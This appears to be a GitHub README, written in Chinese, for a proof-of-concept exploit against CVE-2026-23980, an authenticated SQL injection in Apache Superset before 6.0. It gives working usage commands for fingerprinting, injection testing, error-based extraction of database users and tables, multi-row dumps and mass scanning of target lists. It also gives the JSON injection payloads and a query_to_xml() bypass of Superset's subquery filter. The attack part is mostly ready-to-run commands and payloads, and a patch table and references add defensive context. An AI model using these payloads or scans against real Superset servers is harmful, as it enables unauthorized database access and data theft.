oscar-mine/CVE-2026-23980-Exploit
GitHub: oscar-mine/CVE-2026-23980-Exploit
针对 Apache Superset < 6.0 的认证 SQL 注入漏洞提供利用与数据提取的 PoC 工具。
Stars: 0 | Forks: 0
# CVE-2026-23980 - Apache Superset 身份验证 SQL 注入
```
____
/ __ \
| | | |
| |__| |
\___\_\
```
Apache Superset < 6.0.0 允许具有读取权限的认证用户通过 `/api/v1/chart/data` 端点中的 `sqlExpression` 或 `where` 参数执行 **基于错误的 SQL 注入**。
通过 PostgreSQL XML 函数(`query_to_xml` 等)绕过 `validate_adhoc_subquery()` 过滤器,这些函数将 SQL 作为函数参数执行,对 `sqlparse` 词法分析器不可见。
- **CVSS:**6.5 中危(CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
- **CWE:**CWE-89(SQL 注入)
- **受影响:**Apache Superset < 6.0.0
- **修复:**Apache Superset 6.0.0
- **需要认证:**是(读取权限)
- **数据库:**PostgreSQL(基于错误的提取)
## 杀伤链
```
POST /api/v1/chart/data
-> ChartDataRestApi.data()
-> QueryContext.get_df_payload()
-> SqlaTable.get_sqla_query()
-> adhoc column sqlExpression / extras.where injected
-> validate_adhoc_subquery() BYPASSED via query_to_xml()
-> raw SQL hits PostgreSQL
-> CAST((...) AS INT) error leaks data in response
```
## 安装
```
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests
```
## 用法
### 侦察 - 指纹识别与枚举数据源
```
python3 exploit.py --url http://target:8088 -u admin -p admin --check
```
### 测试数据源是否可注入
```
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test
```
### 通过基于错误的 SQLi 提取数据
```
# 数据库版本
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT version()"
# 数据库用户
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"
# 列出表
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"
# 当前用户
python3 exploit.py ... --sql "SELECT current_user"
```
### 使用 query_to_xml() 绕过子查询验证
当 `validate_adhoc_subquery()` 阻止查询(检测到 FROM/JOIN)时:
```
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass
```
这会将查询包装在 `query_to_xml()` 中,从而隐藏 FROM 子句,使其不被词法分析器识别。
### 批量提取多行
```
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT table_name FROM information_schema.tables" --dump --rows 20
```
### 使用 WHERE 注入点
```
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --injection-point where
```
### 批量扫描
```
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt
```
### 通过 Burp 代理
```
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --proxy http://127.0.0.1:8080
```
## 工作原理
### 注入向量
**sqlExpression**(默认) - 注入到列定义中:
```
{
"columns": [{
"label": "injected",
"sqlExpression": "CAST((SELECT version()) AS INT)",
"expressionType": "SQL"
}]
}
```
**where** - 注入到 extras.where 子句中:
```
{
"extras": {
"where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
}
}
```
### 基于错误的提取
利用 PostgreSQL 的类型转换来泄露数据:
```
CAST((SELECT version()) AS INT)
```
PostgreSQL 无法将字符串转换为整数,因此会抛出错误:
```
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."
```
泄露的值从 API 响应的错误消息中解析。
### 验证绕过
Superset 的 `has_table_query()` 会扫描 `FROM`/`JOIN` 以检测子查询。PostgreSQL 的 `query_to_xml()` 执行 SQL 但将其隐藏为函数参数:
```
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')
```
词法分析器看到的是函数调用,而不是 `FROM` 子句,从而绕过了过滤器。
## 补丁分析
| 版本 | 状态 |
|---|---|
| < 4.0.2 | 易受攻击(未对 XML 函数进行拒绝列表) |
| 4.0.2 | 部分修复(CVE-2024-39887 - 添加部分 XML 函数到拒绝列表) |
| 4.1.0 | 扩展拒绝列表(更多 XML 函数) |
| 4.1.2 | 修复行级安全绕过(CVE-2025-48912) |
| **6.0.0** | **对 CVE-2026-23980 的完整修复** |
## 参考
- [NVD - CVE-2026-23980](https://nvd.nist.gov/vuln/detail/CVE-2026-23980)
- [Apache 安全公告](https://lists.apache.org/thread/h4l02zw1pr2vywv0dc5zjn3grdcdhwf4)
- [Quarkslab - 绕过 Superset SQL 注入限制](https://blog.quarkslab.com/bypass-apache-superset-restrictions-to-perform-sql-injections.html)
- [OSS Security](https://www.openwall.com/lists/oss-security/2026/02/24/5)
- [CVE-2025-48912 - 相关行级安全绕过](https://github.com/advisories/GHSA-8w7f-8pr9-xgwj)
## 免责声明
本工具仅供 **授权的安全研究** 使用。仅在获得明确许可的系统上使用。作者不对滥用行为负责。
标签:Apache Superset, /api/v1/chart/data, api端点, CVE-2026-23980, CVSS 6.5, CWE-89, exploit, PostgreSQL, query_to_xml, sqlExpression, validate_adhoc_subquery, where参数, 子查询验证绕过, 数据库注入, 无服务器架构, 演示模式, 认证绕过, 读取访问, 逆向工具, 错误型SQL注入